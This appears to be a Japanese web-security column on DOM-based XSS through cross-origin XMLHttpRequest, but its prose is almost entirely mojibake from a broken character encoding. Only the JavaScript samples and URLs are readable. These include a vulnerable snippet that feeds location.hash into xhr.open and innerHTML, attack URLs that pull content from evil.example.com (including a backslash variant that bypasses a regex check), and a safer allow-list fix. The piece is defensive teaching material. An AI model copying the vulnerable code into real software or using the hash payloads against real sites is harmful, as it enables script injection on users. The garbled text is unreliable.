�g�V����XSS�h�͒m����������̑����B��{�̑���s�����Ƃ��d�v�ł��BXMLHttpRequest�ɂ��XSS����O�ł͂���܂���B
�@�F����ɂ��́B�l�b�g�G�[�W�F���g�̂͂�����悤�����ł��B�O���́A����I���W���|���V�[��˔j����U���̑�\�I����ł���XSS�ɂ��āA����DOM based XSS�ƌĂ����̂ɂ��ĉ�����܂����B����͂��̑����Ƃ��āAXMLHttpRequest�ɂ��XSS��������܂��B
�@�]���AXMLHttpRequest�i�ȉ��AXHR�j�́A�\�����Ă���h�L�������g�Ɠ����I���W���i�I���W���ɂ��Ă���1�����Q�Ɓj�Ƃ����ʐM�ł��܂���ł������A���݂̎�v�ȃu���E�U�[�ł�XHR Level 2�ƌĂ������ɂ��A�I���W�����ĒʐM���邱�Ƃ��\�ɂȂ��Ă��܂��B
�@����́AJavaScript�ɂ�邢����Ajax�ȃA�v���P�[�V�����̉\����傫���L����Ɠ����ɁA�U���҂ɂƂ��Ă��U���ΏۂƂȂ�T�C�g�ƍU���Ҏ��g�̗p�ӂ���㩃T�C�g�̊Ԃł̒ʐM���\�ɂ��A�U���̕����L������̂ɂ��Ȃ��Ă��܂��B�܂��AXHR���I���W�����ĒʐM���Ȃ��Ƃ�������ɐv���ꂽ���Ă�Web�A�v���P�[�V�����ɂ́A�N���X�I���W���ʐM���\�ɂȂ���XHR Level 2�̏o���A���Ȃ킿�u���E�U�[�̃o�[�W�����A�b�v�ƂƂ��ɁA������ˑR�Ǝ�ɂȂ����悤�Ȃ��̂�����܂��B
�@�Ⴆ�A���T�C�g�Ƃ̒ʐM��O��Ƃ��ʐM���URL���́u#�v(�n�b�V��)�ȍ~�Ɏw�肵�A�uhttp://example.jp/#/news�v�̂悤�ɃA�N�Z�X���邱�ƂŁAXHR�ɂ�萏���y�[�W���̃R���e���c�̈ꕔ������������Ƃ����A�ȉ��̂悤��JavaScript�R�[�h���������Ƃ��܂��B
// ���T�C�g�Ƃ̒ʐM��O��Ƃ����R�[�h�i�Ǝ�ȗ�j var url = location.hash.substring( 1 ) || "/news"; var xhr = new XMLHttpRequest(); xhr.open( "GET", url, true ); xhr.onreadystatechange = function(){ if( xhr.readyState == 4 && xhr.status == 200 ){ div.innerHTML = xhr.responseText; // �擾�����R���e���c��\�� } }; xhr.send( null );
�@���̂悤�ȃR�[�h�́AXHR���h�L�������g�Ɠ����I���W���Ƃ����ʐM�ł��Ȃ���������ɂ͑S����肪����܂���ł������AXHR���I���W�����ĒʐM�ł���悤�ɂȂ������݂̃u���E�U�[�ł�XSS�����݂��邱�ƂɂȂ�܂��B
�@�U���҂����[�U�[���uhttp://example.jp/#//evil.example.com/�v�Ȃǂ�URL�ɗU������ƁAXHR�̒ʐM��Ƃ��āu//evil.example.com/�v���g�p����܂��B�u//�v�Ŏn�܂�URL�́A���݂�URL�Ɠ����v���g�R���X�L�[�����g�����Ƃ��Ӗ�����̂ŁAXHR�́uhttp://evil.example.com/�v����R���e���c���擾���A���ꂪ�uhttp://example.jp/�v���HTML�Ƃ��đ}�������A�T�^�I��DOM based XSS���������܂��B
�@���̗�ł́A�udiv.innerHTML�v�֑�����Ă���̂ŁA�U���҂̗p�ӂ����X�N���v�g�����삷�邱�ƂɂȂ�܂����A�O���������DOM based XSS�ւ̑�Ƃ��āA������̃G�X�P�[�v��e�L�X�g�m�[�h��p���Ă�DOM������s���Ă����ꍇ�͂ǂ��Ȃ�ł��傤���B
�@���̏ꍇ�A�m���ɃX�N���v�g�͓��삵�܂��A����ł��U���҂̗p�ӂ����U�̃R���e���c��Web�T�C�g��ɕ\������邱�Ƃɕς�肠��܂���B�Ⴆ�j���[�X�����[�X�����J����y�[�W�̂悤�ɁAWeb�T�C�g�K��҂ɐM���ł������^���邱�Ƃ��ړI�̏ꍇ�ɂ͑傫�Ȗ��ƂȂ�܂��B
�@�{���I�ȑ�Ƃ��ẮA�Ӑ}���Ȃ��T�C�g�ɑ��ĒʐM���Ȃ��悤�AXHR�̃��N�G�X�g����Œ肷����@������܂��B
// ���S�ȗ�B�ʐM������O�ɌŒ�̃��X�g�Ƃ��ĕێ� var page = decodeURIComponent( location.hash.substring(1) ); var pages = { "/news":"/news", "/comment":"/comment"}; // �ʐM��̈ꗗ var url = pages[ page ] || "/news"; //undefined�̂Ƃ���/news���擾 var xhr = new XMLHttpRequest(); xhr.open( "GET", url, true ); xhr.onreadystatechange = function(){ if( xhr.readyState == 4 && xhr.status == 200 ){ div.innerHTML = xhr.responseText; } }
�@���̂悤�ɁAXHR�̒ʐM����Œ�̃��X�g�����炩���߃R�[�h���ŕێ����Ă������ƂŁA���̃T�C�g�ƒʐM���Ă��܂��]�n�����S�ɔr�����邱�Ƃ��ł��܂��B
�@����AXHR�̒ʐM�O��URL�����T�C�g�̂��̂��ǂ�������������Ƃ������@�ł́A�ǂ����Ă������̘R�ꂪ��������\�������邽�߁A���܂�悢���@�Ƃ͂����܂���B
�@�Ⴆ�A�ʐM��URL�����T�C�g�����ǂ��������O�Ɋm�F����ȉ��̂悤�ȃR�[�h���������Ƃ��܂��B
// �Ǝ�ȗ�B���O��URL�����T�C�g�����ǂ������m�F���Ă������ var url = location.hash.substring( 1 ) || "/news"; if( url.match( /^\/[^\/]/ ) ){ // �擪���u/�v�A�Q�����ڂ��u/�ȊO�v�̂Ƃ��̂ݒʐM var xhr = new XMLHttpRequest(); xhr.open( "GET", url, true ); xhr.onreadystatechange = function(){ if( xhr.readyState == 4 && xhr.status == 200 ){ div.innerHTML = xhr.responseText; // �擾�����R���e���c��\�� } }; xhr.send( null ); }
�@���̗�ł́A�ʐM���URL���Ⴆ�u/news�v�̂悤�ɁA���K�\���ɂ��`�F�b�N���s���A�擪���u/�v�łQ�����ڂ��u/�ȊO�v�Ƃ����ꍇ�ɂ̂�XHR�ɂ���ăR���e���c���擾�A�\�����邱�Ƃ��Ӑ}���Ă��܂��B�Ƃ��낪���ۂɂ̓u���E�U�[�ɂ���Ắu/\evil.example.com/�v�̂悤�ȕ\�L�ɂ���Ă��u//evil.example.com/�v�Ɠ��`�Ɏ�舵�����̂�����A�U���҂�URL�̌����ӏ������܂��������XSS�U���ɐ������܂��B
�@���̂悤�ɁAURL���z�肵���T�C�g���ł��邩�ۂ��ׂ�͎̂��͈ӊO�ƍ���ł��B�����ăT�C�g���Ɉ�ł��I�[�v�����_�C���N�^�[�����݂���ꍇ�́A���̃I�[�v�����_�C���N�^�[���o�R���čU���҃T�C�g�̃R���e���c���w���������Ƃɂ��AURL�̌�����������邱�Ƃ��\�ɂȂ��Ă��܂��܂��B
�@�J��Ԃ��ɂȂ�܂����A�����������Ǝ㐫��h�����߂ɁAXHR�̒ʐM��͂��炩���߃R�[�h���ŌŒ�̃��X�g�Ƃ��ĕێ����Ă������Ƃ��]�܂����Ƃ�����ł��傤�B
Copyright © ITmedia, Inc. All Rights Reserved.